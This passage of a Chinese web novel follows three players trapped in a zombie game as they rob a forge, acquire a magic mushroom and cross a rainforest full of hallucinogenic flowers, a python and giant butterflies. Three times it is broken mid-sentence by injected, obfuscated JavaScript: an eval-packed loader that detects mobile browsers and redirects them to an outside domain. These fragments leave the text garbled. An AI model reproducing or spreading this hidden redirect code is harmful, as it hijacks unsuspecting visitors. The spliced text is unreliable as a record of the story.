登到山顶的奖励是一把锤头,大概有人的脑袋那么大,而且也可以用来砍树,收集到的木块数量也多了起来。 舒司鸢左手火球砸鸟,右手斧头砍树,偶尔瞟一眼右上角的地图,确保没走错方向。 下山的岔路其实有很多,但只有一条是通往锻造店的捷径。 那是一家可以对武器进行魔法加工的锻造店。比如舒司鸢先前在落叶堆里捡到的那把没有箭的弓,在附魔之后便可以自动射出箭。 她们缺少远程攻击武器。想要对付丧尸王,这家锻造店是必去的。而且来都来了,也可以给其他武器加点魔法升级一下。 舒司鸢再度瞥了一眼地图,习惯性收回目光后又猛地看了回去——等等,地图上怎么这么多小蓝点? 只见浅绿色背景的游戏地图上,在三个红点的前方,整齐地排列着好几排蓝色小点。 卫真也看到了:“是护卫兵来了。” 舒司鸢记下路线,默默关闭地图防止视线受阻。 欢迎仪式的阵仗整得还挺大。 护卫兵没有上山来搜寻她们,而是几乎拦住了所有下山的道路。她们眼神锐利,紧盯前方的树林,手持长剑站立着,一有人冒出来就能被戳个对穿。 舒司鸢纳闷道:“她们怎么不上来灭火?” 灭火时人群混乱,更方便她们逃跑。 舒司鸢还向后张望了好几眼,而且她也没看到哪里起火啊? “我没做着火的特效,只给山做了是否处于燃烧状的两种状态判定,”卫真说,“抓到我们其中一个,火会自动熄灭。” 好偷懒的设定。不过这样的话,她也会做出和护卫兵同样的选择,反正火真的烧不起来,还不如抓纵火犯来得实际。 舒司鸢问莘曼:“你能把一次技能中的冰块分给好几个人用吗?” 她观察过莘曼的冰封技能,每次变出的冰块都挺厚的,要是能分摊到每个人的脚下,把她们冰封在原地,这样哪怕是薄冰,也能给她们争取几秒的逃脱时间。 “不行的,一次只能对一个生命体生效。”莘曼摇头道,复述了一遍冰封坨坨的技能说明。 舒司鸢闻言也不失望,藏在一棵树后注视着护卫兵们,思索着突破防线的可行方法。 她的火球一次也只能召出一个,不是群攻技能。虽然可以丢几支火把下去,但火把太珍贵了,而且很难获得。 她一开始想的是用火球点燃地上掉落的枯枝代替火把,但昨晚她就试过用这种方法烧丧尸的时候,就发现树枝和落叶都无法被点燃。刚才经过卫真一解释,她就明白了。 他就不能勤快点吗? 在他偷懒少做燃烧特效的时候,有没有想过有一天会穿进自己做的游戏里? 好吧,也不能怪卫真。遇到“域”之前,他作为一个正常的普通人肯定没往这方面想过。 舒司鸢偏过头问卫真:“天黑之后她们会走吗?” 卫真:“会留下实力最强的几个。” 舒司鸢懂了,护卫兵也怕丧尸。 “那就等到晚上吧。”舒司鸢看着时钟图标,黑色蔓延的速度很快。不过她们本来也不需要等太久,爬到山顶后又从山顶下来,已经耗费了大半白天的时间了。 计划粗糙地一敲定,大家就各自散开去收集物资了。 舒司鸢用新获得的巨锤到处敲敲,越敲越觉得它比斧头更合她心意。尽管锤子是木头做的,在现实里肯定比不得铁做的斧子,但在水湖之旅里它们的伤害值是一样的。 而且用斧头时她会下意识调整斧尖的方向对准丧尸,会浪费那么零点几秒的时间。但在游戏里,其实无论哪面触碰到丧尸,都可以算作一次有效攻击。 舒司鸢刚将一只鸟锤成肉排收进背包,天色一下子被黑暗笼罩。 下方的护卫兵们举着燃起的火把,人数骤减三分之二,只剩下十个还在等着逮捕她们。 舒司鸢望着人手一支火把的护卫兵们,简单的像素眼睛里闪过羡慕又贪婪的复杂情绪。 她制止住莘曼拿出火把的动作,抓着她的手往前一指,莘曼瞬间理解她的意思。 私闯民宅,山林纵火,再来一个抢劫也不怕多,那叫顺手。 莘曼真心实意道:“果然是三观不正的游戏。” 卫真:“……” 他只是在丰富游戏的趣味性,玩法要不要按道德观走不还是看玩家自己的选择吗? 她们三个不约而同地看了眼背包里收集到的火把的数量,然后立刻没什么道德地冲下了山。 护卫兵手中的火把为她们指明了方向。舒司鸢一颗火球砸在最边上一人的手上,那护卫兵吃痛一声,不由松手。 舒司鸢刚好跑过她身边,一把夺过火把就跑。 被她抢劫的护卫兵旁边那人探身而出,动作极快地伸手抓她,却被莘曼用一坨冰冻住了手,当即重心不稳地摔在地上,她脱手的火把被莘曼狠狠踢向舒司鸢那边。 她们也不贪多,到手两个火把后见好就收。反正她们的主要目的是为了逃脱追捕,抢火把只是顺带的。 其实如果不是为了升级拉生命值的话,她还想苟在护卫兵身边,躲过今天晚上的丧尸袭击。 舒司鸢捡起莘曼踢过来的火把,起身后头也不回地朝锻造店狂奔,也不管后面莘曼和卫真有没有跟上来。 大不了被抓了,她再去劫狱嘛。 舒司鸢认真跑路,觉得自己离道德心越来越远。 她马上拍了拍自己的脸清醒过来,她什么时候有那种东西了? 道德要是能救命的话,她早就是怪诞世界里遵纪守法热心市民小舒了,谁也别想善良过她。 身后传来护卫兵们有力的脚步声,接着又响起了剑砍在□□上的沉闷声响,是丧尸来了。 蓝脸丧尸踏入她的光圈,舒司鸢紧急刹车拐弯。正好莘曼赶到她身边,她赶紧把另一支火把递给她,剩下的就让她们冰系技能互相冰冻去吧。 舒司鸢和莘曼仿佛完成了某种火炬交接仪式,莘曼还多交了个东西给她,她抓在手里一看——是卫真。 舒司鸢硬拽着卫真跑,因为后者对于去往锻造店的路线有自己的想法,总是试图往另一个方向走。 舒司鸢不太相信卫真指的路,尽管他是游戏的设计者。她脑子里有自己早就规划好的路线。 怎么在怪物的追杀下效率最大化地逃命,这事她很有经验的。 至于经验怎么来的…… 舒司鸢心里泛起一点辛酸和无力感,简短地对卫真说:“别乱跑,跟紧我。” 说完她就放开了手。 被舒司鸢死死拉住完全跑不出光圈的卫真欲言又止,最终点了点头。 莘曼落后她们几步,在后面用冰冻技能拖慢护卫兵和丧尸的动作。舒司鸢踩着冷却时间结束的点,把火球丢到莘曼来不及顾及到的丧尸身上。 期间也有不少丧尸往她们身上扑,她们都是躲避为主,重点放在赶路上。 想要拿丧尸练级的话,不如等武器附魔之后,伤害值更高,杀起丧尸来更快也更省力。 镇子里游荡的丧尸比起外面要多上几倍。但进镇后,沿途堆放着不少空酒桶和木箱,还有收到一半的摊位。舒司鸢时不时看准时机踹一脚,酒桶滚落,绊倒四面八方涌来的丧尸。 她按浮现在脑海里的路线跑,偶尔做点假动作迷惑一下丧尸。 舒司鸢往左边大跨一步,又猛然收回闪到右边跑掉。 丧尸行动虽快,但比玩家要慢上一点。因此跟着舒司鸢一来一回的空当,就被她拉开了一点距离。 卫真也被迷惑到了,牢记舒司鸢的叮嘱,她往哪跑他也往哪跑,所以他一比一复刻舒司鸢的动作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436611|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在后面看到队友莫名其妙开始走位的莘曼:这俩人干啥呢? 靠着肉排回血,她们赶到了锻造店。 锻造店不愧是一家有着魔法底蕴的店,大门口围着的丧尸都比其他店铺少上好几只。 舒司鸢锤在其中一只丧尸的脑瓜上,丧尸额头撞在门上,顺带给她敲了个门。 锻造店老板想必就在门后,但开门是不可能给她们开的。加上她们不是丧尸阵营,对门的攻击也无效。换言之,她们想进入锻造店,只能等明天白天老板开门营业了。 舒司鸢把背抵在墙上,胆敢靠近她的丧尸全被她给锤了个遍。 生命值噌噌上涨,天也亮了。 舒司鸢马上哐哐砸门。 昨晚虽然成功甩掉了护卫兵,但白天一到,对面的白墙上就刷新出了她们的大头像和名字,名字下面是悬赏金额。 舒司鸢遥遥和自己的黑白画像对视上,觉得不太吉利,把门敲得更响了。 由于晚上需要抵御丧尸,手上没有足够数量的木块的小镇居民大多是不睡觉的。锻造店老板也属于这类居民,而且为了多赚钱买木块,他对于顾客很是殷勤。 门此时被敲得震天响,他只当是有人着急买东西。这种心急的顾客一般不讲价,他通常会多报价。 锻造店老板忙不迭开门。 舒司鸢一进门,就让卫真把剑横在老板脖子上,莘曼很上道地把门关上了。 舒司鸢一股脑地把武器全拿给老板,命令道:“加魔法。” 当土匪的时候话就要少,简洁有力地表达出自己的需求,这样容易让受害人觉得她高深莫测逼格高。 锻造店老板身材矮胖,大脸盘上的眼睛被其他五官挤得细细的。他打量着舒司鸢手里的东西,报出一个数:“加起来五百八十个金币。” 舒司鸢疑惑地看向老板。 为什么?为什么她都把剑指人脑袋上了,老板居然还觉得她会给钱? “给你们打折啊,”老板脸上露出讨好的笑容,“五百七十四金币怎么样?” 莘曼忍不住道:“就打九点九折啊?” 抠死算了。 而且他再抠下去,是真的会死诶。 “免费给我们加,”舒司鸢说,看来话还是要说清楚明白一些,她注定当不了一个高冷的土匪了,“不然把你打骨折。” 她又指了指挂在墙上的魔法飞毯:“这个也送我。” 像素小人的手指又移了一下,指着墙角一把大刀:“还要这个。” 锻造店老板死性不改,努力挣扎:“两千金币!收您一万九千八百金币!” 还是改了点的,至少给她们降到九点八折了。 舒司鸢拿绳子把他绑上了。 锻造店老板不愿意也没事,她可以搜刮店里已经附魔完毕的魔法物品,例如她方才指到的那张魔法飞毯。 舒司鸢朝柜台走去,还没等她靠近。从柜台那里啪嗒啪嗒走出一只红色的蘑菇,伞帽上还有白色的波点。身子一扭一扭蹭到她跟前,而后白胖的身子一栽,碰瓷了她的鞋子。 “这什么?”舒司鸢问老板。 她没问卫真。蘑菇要是卫真在游戏里设计的,他进锻造店之前就会和她们说。 锻造店老板硬气地不吭声,但肉眼可见地紧张起来。 卫真拿剑打了他一下,锻造店老板掉了一点血,依旧闭口不言。 不说就不说吧,舒司鸢回过头。只见波点蘑菇已经起身,发出“啵”的一声,转眼间,舒司鸢手里的锤子镀上一层闪亮的紫色光芒。光芒消失后,锤头表面刻上了奇怪的纹路。 锻造店老板就是靠这只魔法蘑菇在赚钱啊。 舒司鸢接过莘曼递来的斧头,蹲下身问波点蘑菇:“这个也能帮我附魔吗?” 波点蘑菇点点头,又摇摇头。 舒司鸢懂了,这是法力值耗尽了。她温声道:“要过会才行是吗?” 波点蘑菇点头。 得到回复的舒司鸢把她捧起来。 片刻后,舒司鸢带着波点蘑菇给她指明的一堆魔法武器,以及波点蘑菇本菇,坐着魔法飞毯和锻造店老板说再见。 25. 适量游戏,健康人生6 护卫兵已经排查到锻造店,不料里面的人是飞出来的,门口驻守的两个护卫兵毫无防备,一下子被撞翻在地上。 飞毯的使用方法是四个角都捏在手里,就可以飞起来。她们三人一人攥住一个角,波点蘑菇帮她们用嘴咬住了剩下一个角。 飞毯面积不大,堪堪挤下三个人。波点蘑菇软而富有韧性的身体贴着舒司鸢,好让风别把它吹倒。 舒司鸢蹙起眉头,她后知后觉意识到一件事——她为什么这么信任波点蘑菇? 波点蘑菇有能力瞒过她在魔法上动手脚。以她的性格来说,应该不会如此轻率地就决定使用这些经过波点蘑菇附魔的武器才对。 舒司鸢看着波点蘑菇迎风飘扬的伞盖,难道是因为它很可爱? 可是芝麻也很可爱啊。而且芝麻都跟在她身边两年了,舒司鸢至今仍在怀疑它有在偷偷喝她水杯里的水。 怎么跟这波点蘑菇刚见面,她就这么信任它? 舒司鸢想找莘曼和卫真问问有没有这种感觉,转念想到波点蘑菇是可以听懂她们之间的对话的,便打消了念头,打算回头背着波点蘑菇问。 她紧盯波点蘑菇的伞帽,数清了那上面有27个白色小点。波点蘑菇正好抬起脑袋看她。 舒司鸢赶紧移开目光。 好鲜艳的红色,它肯定有毒,说不定就有加好感的迷幻效果。 护卫兵在下面穷追不舍,但她们似乎都没有技能,甩起剑就往她们身上招呼。后来发现扔石头效果更佳,数量多还体积小。舒司鸢眼睛来回扫视,用锤子把石头砸回去。 好在到了小镇边界,她们就停止动手了,三个小镇之间像是达成过什么互不侵犯协议。与此同时,负重三人一菇的飞毯,也彻底宣告没电。 出了这条白线,她们再步行一段距离,就正式进入雨林区域了。 雨林听着就很危险,舒司鸢总把它和吞人的大蟒蛇联想到一起。 结果卫真和她想到一块去了。眼前的新区域里,高大粗壮的树木直冲天空而去,树干上缠绕着手臂那么粗的藤蔓,巨大的嫩绿树叶层层叠叠遮掩起身后的景象。 要是在这儿走散了,饶是她们有地图也不好找啊。两片树叶就能完全盖住一个人了。 而且这片雨林虽然颜色浅淡清新,却莫名给她一种压抑感。虽然卫真说过水湖之旅里唯一的危险就是丧尸,但她还是打起精神时刻关注四周。 这不是卫真的游戏世界,这只是“域”借用了他游戏中的背景。 几天下来没通关游戏的莘曼和卫真虽是安全回来了,但玩家死亡次数若是有限制的呢? 还是谨慎点,尽量少死几次为好。 舒司鸢踏入雨林,身体猛地下沉了几厘米。 “怎么了这是?”莘曼吓了一跳。 舒司鸢:“泥土是软的。” 地面覆盖着厚厚一层湿软松散的泥土,人踩上去之后会下陷,同时也压实了泥土。但这些泥土还有些粘稠,抬脚走下一步时,需要用点力气才能把脚拔出来。 仿佛泥土中有无数只小手,在拉着她们的鞋底不让走一样。 飞毯在背包里才能自动充电,况且在雨林里也用不了。树木密布,宛如拔地而起的牢笼,用飞毯寸步难行。 舒司鸢从锻造店老板那里打劫来一把戟,长长一根往前一伸扎穿树叶,树叶后要是有什么东西就一起串了,很适合探路。 这方密林将闯入者尽数包裹,再大型的生物都很容易躲藏其中。她们必须尽快找到开阔地带。否则晚上一掀树叶,叶子后随时可能跳出来一只丧尸,根本来不及躲开。 舒司鸢重复刺插的动作。这一回戟没受到任何阻力,轻松划过空气。她刺了个空,当即反应过来,这是到头了。 树林后是一条清澈的溪流,底部是黄色的泥沙,两岸长满杂草,草里探出细长的茎叶,顶端是闭合的淡粉色花苞。 莘曼直视前方,“前面好像又是树林了。” 穿过一片密林花去了她们大半个白天的时间,现在继续前进的话,她们肯定要在树林里和丧尸对战。 “要接着前进吗?还是待在这里?”莘曼不太确定地问道。 大家都没有雨林探险加过夜的经历,一时之间不知道该不该继续上路。 舒司鸢说:“今晚就待在这吧,实在不行就上飞毯。” 飞一会再下来打一会,让飞毯回背包里充电。撑不住了再拿出来飞一会。 就算丧尸能上树,跳下来也就是那么一下,挡回去就好了,又不能飞在空中和她们打。 舒司鸢默默收好flag,万一真出现会飞的丧尸呢。 她的目光又飘忽到那些粉色花朵上,伸得那么长,真的很难不引起注意啊…… 舒司鸢索性把花都拔了,一半丢在地上,一半丢进小溪里漂着。 最后一支花被她丢进溪流时,雨林入夜了。 火把刚亮起,她们就和眼前一只红脸丧尸脸贴脸了。 舒司鸢克制住向后倒退的冲动,而是直接蹲下身子,手里的巨锤顺势砸在丧尸脚面。丧尸嘴里吐出一枚西瓜那么大的火球,擦着她的头就过去了。 礼尚往来,舒司鸢也回敬了它一颗火球,专门对着两只丧尸脑袋中间打的。两只都被火燎到了,同时掉了同样的血量。 她的技能不能像莘曼的冰封技能那样自动瞄准,能不能丢中,全看她手准不准。不过也给了她自由的钻空子空间。 这不就一下打两个,多划算。 舒司鸢找到乐趣,开始试验能不能一起打中三只了。很快她就发现中是能中,就是这法子必须要她一次性引来三只丧尸,但技能放完了就进入了冷却时间,后续就要靠她纯手工捶打了,她打不过来,只好无奈放弃。 好在锤子经过了波点蘑菇的魔法加强,不仅攻击力直线上升,耐用度也增加了。 说起蘑菇,那红色小菇呢? 舒司鸢转来转去找它,然而一股幽香先钻入了她的鼻子。她握着锤头的手失力一瞬,眼前的丧尸长出好几个脑袋。 再一眨眼,多出来的脑袋又不见了。 是那些花! 岸上被她丢弃的花不知何时悄然盛放,露出淡粉色花瓣下嫩黄的花蕊,尽情释放着浓郁的花香。 反观被她丢在溪流里的花朵,还是花苞的模样。 她抬脚就把花踢进小溪里。那些花一沾到溪水便闭合了。舒司鸢四周的空气清新许多,大脑也清醒几分。 舒司鸢喊道:“把花丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441863|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到小溪里!” 第三个区域内的丧尸太多,她们不得已分散开。从此在雨林里过上了从前不敢想的奢侈日子——一人举着一支火把。 生死有命,全靠自己。 花朵的致幻作用只对她们起效,丧尸的行动一如往常。两面夹击之下,背包里的肉排在被大量消耗,舒司鸢一边把丧尸锤到残血一边分出神点击使用肉排。 但在她落下最后一击后,那只丧尸却并没有消失。她马上去看它的血量,显示满值。 舒司鸢两眼一黑,差点气晕过去。 这也算半个好消息,意味着有治疗技能的变异丧尸出现了。 前提是她们能拿到。 舒司鸢跟得了重影似的看见了三只爪子,速度太快她一时间分不清,只好闪避了三下,好在成功躲避了。 就是她躲得太用力,没力气握住锤子。锤头落地,她抓了个空。 花朵的迷幻效果随着盛开的时间愈发强烈,她眼前重重叠叠出现了好几把锤子,就连系统文字“拾取”也出现了好几个。舒司鸢干脆地放弃,从背包里捞了把新的。 她一戟把丧尸叉远:“你们找到那只能加血的变异丧尸杀了!我来解决花朵!” 卫真还在奇怪她怎么不亲自动手,扭头看见舒司鸢都被蓝脸丧尸用冰冻住了,还能冲破丧尸的围攻,一支长戟勉强拦住身后丧尸群,在一堆假花里找到真花丢进水里。 原本舒司鸢说出花有问题后他也试图找了,但是越靠近那些花,视线就越模糊,明明看到那里有花,却没能摸到或者踢到。 反而这一打岔的功夫,丧尸就抓准机会,爪子拼命挥下来。 卫真到最后不得不放弃了。 舒司鸢找花倒是精准又效率。她也懒得去分辨了,用锻造店里零元购来的一把扇子疯狂扇,扇完这一块地就紧急切换成戟,把丧尸戳开。然后赶紧跑到下一块地再切换成扇子…… 要说整个过程里最难的,就是那只蓝脸丧尸,动不动就用技能冻住她,不然能把花清理得更快。 只剩下最后几朵花,她也不管了,这点迷幻作用在她可以克服的范围之内。 她在岸边来回跑着遛丧尸,腾出手来用肉排拉生命值和饱腹值。只听不远处响起卫真的声音:“到手了。” 舒司鸢悬起的心放下,一道绿色的光落在她身上。 生命值和饱腹值双双涨满,花朵残余的迷幻效果也被瞬间解除。 卫真直接复制了技能说明给她看,舒司鸢这才发现她们居然还有队伍聊天频道。 【韭菜牧师:拯救公主的骑士队伍中,你是最无私和乐于奉献的人。水湖之神认为你富于集体荣誉,将治愈的能力赠予你。技能仅对一人生效,相同等级或以下的使用对象,正面能量值将直接回复满值,负面减益效果将直接解除。等级在你之上的使用对象,回复与解除效果以等级之差为参考,等级差为一时治愈效果为同等级及以下的百分之九十,以此类推,最多只扣除百分之五十治愈效果。每次使用时扣除自身十点生命值,扣除的生命值可自动回复(每三十秒回复一点),冷却时间一分钟。】 舒司鸢:“……” 这怎么给别人加血扣的还是自己的血呢?羊毛出在羊身上是吧? 26. 适量游戏,健康人生7 拿到治疗技能之后,她们的压力骤减。发现队伍存在私聊频道的舒司鸢边打丧尸边打字,问出了那个她之前在飞毯上就想问的问题。 基于对队友取得技能的尊重,她先翻到一个点赞的表情包发出去,然后才编辑发送自己的话。 舒司鸢:【你们有没有觉得这只波点蘑菇怪怪的?就是一看到它就会不自觉放松警惕?】 莘曼:【没有啊】 卫真:【没有】 看得出来韭菜牧师虽然需要收割时间,但确实管用。她刚发完就被秒回了。 就是不知道她们是真的感觉波点蘑菇没问题,还是在波点蘑菇的影响下才觉得它没问题。 想到这点,她便终止了这一话题。 雨林即将迎来白昼,飞毯被召唤出来使用。后来她们发现飞毯会因为使用时间的延长而逐渐破损,且用木板无法修补。考虑到后续攻打高等级丧尸王更需要飞行道具,便收起来等决战时候用了。 天亮之后,她们继续前进。 波点蘑菇总算是出现了,就躲在第一片大树叶的后面。 见到舒司鸢过来,波点蘑菇扭着白白胖胖的身子蹭她。 舒司鸢在心里冷笑一声,昨晚打丧尸的时候半点影子见不着,现在打完了又来碰瓷了。 但用还是要用的,她拿了那把无箭的弓给波动蘑菇。 波点蘑菇凑近弓:“啵。” 弓上旋即荡漾起一片紫色的魔纹,紫色光芒顺着纹路游走充斥,几个呼吸之间武器便已完成附魔。 舒司鸢试着拉弓。细弦刚被她微微拉动,一支箭就自动出现,搭在了弦上。 她也不浪费,对着地上一只青蛙就射了过去——自从她们进入雨林,食物就变成了青蛙。 青蛙当即变成肉排。舒司鸢看着那条瞬间清空的血条,默默咂舌。 莘曼和卫真齐齐发出赞叹。 不过魔法弓箭虽然好用,但也不是无限制出箭。经过她的实验,两把箭间隔的时间在十秒,即使放进背包也不会立刻刷新,但冷却时间也不会因此停止,而是正常流动。 等一下,为什么弓箭能变得这么厉害,她的锤子却还是和普通武器一样,攻击值完全没变啊? 不仅攻击值完全没变,耐用度下降的速度也和原来一样,修补用的木板数量也是。 舒司鸢把弓箭给了莘曼,自己则把锤子拿出来转了一圈仔细看。波点蘑菇似乎是看出了她的困惑,用脑袋蹭蹭她的手。 舒司鸢目光投向它用力蹭的那个地方,是锤子顶端,那里有个小开关。 她懂了,原来还是手动的。 舒司鸢把开关打开。波点蘑菇使用魔法的条件,她也算是观察出出来了,据蘑菇表现出来的,好像一天只能使用一次。 雨林里树木很多,甚至在砍一棵树时会不小心因为动作幅度过大而砍到另外一棵,因此木块的库存噌噌上涨。 就是如今充当食物的青蛙和树叶一个颜色,不太好找。 舒司鸢眼力比较好,得益于她有一只仿佛会隐身的黑色的猫。这两年来没少在犄角旮旯里找猫,于是就练出来了。弓箭就又回到了她手上,莘曼和卫真专注砍树。十秒一块肉排,食物的数量也在飞速增长。 舒司鸢调出地图,从画面上来看,她们已经走到了雨林的中部。 她还是用那把戟开路,然而她往前一刺,戳中了一个柔软的东西。 舒司鸢抽回戟却没抽动,她干脆把戟收回背包后又重新拿出来,锋利的尖头对准前方的不明物体,抬手给身后的莘曼做了个手势。 冰封坨坨的感知能力一直开着,莘曼能察觉到前方有生命体出没,而且个头还不小。 周围的空气静谧下来,风吹不动树叶,只有隐没在树叶丛中的青蛙蹦跳时会引起些许颤动。 莘曼不敢说话,在队伍聊天频道发送文字。 莘曼:【我没见过的东西,用技能感知时就看不到了,只知道很长一条】 她看不到具体是个什么东西,也就不能指定身体部位。她原先想把最前面代表脑袋的一格给封了,但又不能肯定那是不是脚的部分。保险起见便选了最中间一格方块,点击释放冰冻技能。 卫真:【可能是蛇或者蜥蜴。雨林地图我设置了咬到或触碰到玩家会使其中毒的动物,有蛇、蜥蜴和小蝴蝶,但体型都不大,都以偷袭为主】 卫真:【因为考虑到经过前面两个地图的积累和锻造店的武器魔法加工后,玩家的实力会随之上涨一大截,所以在雨林里加入了不少有毒性的动物】 莘曼:【好了,这么重要的事情,下次记得早点说】 卫真:【我说我碰到这条东西的时候才想起来你们信吗?】 莘曼:【微笑】 舒司鸢倒是信,因为她们在被护卫兵追的时候,她瞥到过路旁有NPC在卖驱虫药、防毒面罩和涉水服之类的,应该就是为了蝴蝶和花准备的。那么针对于雨林中的其他危机,也会有相应的防护道具。 如果卫真能在她们进入雨林前想起来,她们肯定会提前去抢劫装备,以防范雨林中的动物。 正想着,冰封技能时间结束,眼前的树叶沙沙动了,一条金色的巨蟒缓缓探出脑袋,上面还有不规则的白色纹路,有人那么大的褐色的瞳孔眨了下又睁开。 莘曼控制住发飘的声音:“没没没事的,黄金蟒很温顺的……” 她话音刚落,蛇尾巴尖就扫了过来。 靠!她忘了,这是在游戏里,谁管原型是什么样的?! 那黄金蟒还是夜行性动物呢,现在不也白天出来了? 舒司鸢放出火球拦了一下尾巴:“上来!” 莘曼一把拽住她的手,跳上飞毯的同时,用冰块冻住巨蟒的脑袋。 对她来说,被尾巴抽到就算了,还是被咬更恐怖一点,这条蛇嘴巴那么大,说不定就直接把她咬成两截了。 成功接到队友的舒司鸢拉弓射箭,一箭下去,巨蟒的血条亮了出来。 刚才砸火球的时候,她忙着拉莘曼没来得及看,这会儿看到蟒蛇巨厚无比的血条,魔法箭射过去一点水花也没看到,当即放弃:“打不过,走!” 莘曼也注意到了,她使劲扯着飞毯的一角调整方向,躲过横空而来的尾巴。技能冷却时间结束,她还是选择冻住蛇的脑袋。 波点蘑菇感受到极度的危险,魔法能力大爆发,对着飞毯连“啵”三声,飞毯瞬间加速远离巨蟒。 舒司鸢:…… 她就知道,这蘑菇肯定藏了一手。 看花色就知道不是正经蘑菇。 舒司鸢抱紧脑袋,飞毯行驶速度太快,树叶频频抽打在她身上,好在没有扣生命值,也没有痛觉,就是眼前经常黑一阵亮一阵的。 莘曼驾驶飞船的技术非常不错,她一面避开粗壮的树干,一面还有空和她聊天:“杀了那条蛇,肯定能升很多级吧。” 舒司鸢艰难开口道:“不一定,你看我们杀了这么多羊、鸟和青蛙,它们都没有变成经验小球。” 莘曼一想,也是,一路杀来只见食物变肉排的,从没见过食物变经验的。这蛇万一打完了发现是白打,她们又亏时间又浪费精力的,还有可能一个不小心生命值就清空了。 飞毯有高度限制, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462540|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们还是穿行在树林里。不过自从巨蟒被远远甩在身后,飞行速度就慢了下来。 树叶丛剧烈颤动,而且这颤动一路蔓延,明显是那条巨蟒在追她们。 莘曼不时冰封住巨蟒的身体中部,让它在原地待一会儿,以此拖慢巨蟒的行动。 飞毯偶尔掠过一些怪异的色块,舒司鸢看得多了,发现那些就是蜥蜴,只不过由于趴在树上,身体的颜色变得和树干的颜色相近。 蟒蛇的动静消失后不久,眼前的景象倏尔一变。 泥泞的泥土变成流动的溪流,两侧是无法踏足的沼泽,种着如树般高高挺立的庞大花苞,代替树遮盖起天空。花苞上静静伫立着大小不一、色彩艳丽的蝴蝶。最大的宛如热气球,最小的也有巴掌那么大。 莘曼:“小蝴蝶?” 舒司鸢:“偷袭?” 这东西的翅膀扇一下,偷袭都能变空袭了。 卫真强行解释:“丧尸都变异了,它们当然也能变异啊,不要搞物种歧视好不好?” 舒司鸢仰起脑袋,蝴蝶长满毛绒的身子从她眼中划过,蝴蝶的复眼紧紧盯着她。 头顶有鳞粉扑簌簌掉落,撒在她们身上,像是美味的甜点被撒上了一层甜蜜的糖粉。 最先打破这场对峙的是离舒司鸢最近的一只蝴蝶。它的个体在一堆蝴蝶里算居中,蓝色的翅膀上分布着四个黑色的圆圈。 “贴着水面飞。”舒司鸢一颗火球扔在朝她飞来的蝴蝶身上。 好在蝴蝶是个脆皮,这一击就带走了它,其余蝴蝶暂时也就不敢轻举妄动了。 但双方都清楚哪一方在数量上占绝对优势,因此气氛仍旧紧张。 飞毯载着三人慢慢滑行。 卫真有一点还是没说错的,蝴蝶确实喜欢偷袭。一只蝴蝶毫无预兆地俯冲到舒司鸢背后,莘曼立即冰冻住它。 然而蝴蝶不像在地面的生物,它是飞在半空,化成冰块后冲击力更大。舒司鸢一个不稳,被撞进水里。 水位不深,她咕噜两口就站了起来。 莘曼还在上方一脸抱歉地晃动双手捞她,好像舒司鸢会像鱼一样跳进她手里。 一提起鱼,舒司鸢就想到了那些驱虫药和墨绿色的涉水服,以及涉水服旁边的充气救生艇。 原来是用在这里。 不过现在说什么也晚了,她们又不可能重新掉头回去。再说,后面还有一条巨蟒。 自那只蝴蝶成功偷袭她之后,其他蝴蝶像是得到了信号,炮弹一样冲着飞毯而来,上面顿时乱作一团。 舒司鸢在水里走了两步。她不着急回去,说来也奇怪,掉进水里后,蝴蝶反而不攻击她了。 要么就是蝴蝶怕水,要么就是水里蝴蝶惧怕的东西。 可她瞧水面瞧了半天,也没看出个所以然来。 舒司鸢迟疑着叫莘曼和卫真下来。 算了,水里要有东西就直接开打,总比在上面被蝴蝶用翅膀扇巴掌好。 莘曼和卫真跳入水中,蝴蝶不再攻击她们,只是飞低了些,翅膀不死心地滑过她们。 三人微微蹲下身子,水面刚好涨到她们下巴处。蝴蝶没有跟着往下飞,在她们头顶盘旋。 危机暂且解除,她们便顺着水路走,身上的鳞粉有一些随着动作落进水里。 舒司鸢又和蝴蝶对视上了,她移开视线朝前走,却没有迈开脚步。 她低下头,河底水草疯长,又细又长的草叶勒住了她的脚踝。 翠绿的草转眼间便铺满河面,眼前随即投下一片阴影。 蝴蝶停在了那些没有被水沾湿的草上,复眼转动着贴住她。 27. 适量游戏,健康人生8 蝴蝶身上的绒毛仿佛豪猪的刺,能够轻易划开皮肤扎进血肉之中。触角黑白两色交错,焦褐色的复眼如同玻璃珠,光滑而又坚硬。 水草已经牢牢捆住双腿,长到腰际便停止生长了,和人一起织成一个草团,舒司鸢困在其中动弹不得。 从那只蓝紫色的蝴蝶振翅飞下到在她面前站定,只有短短一瞬,舒司鸢脑中划过无数想法。 是先解决蝴蝶,还是水草? 背包里的哪种武器可以对付这二者? 脑海里闪过那几瓶杀虫剂,应该只有药剂才可以真正对付蝴蝶。 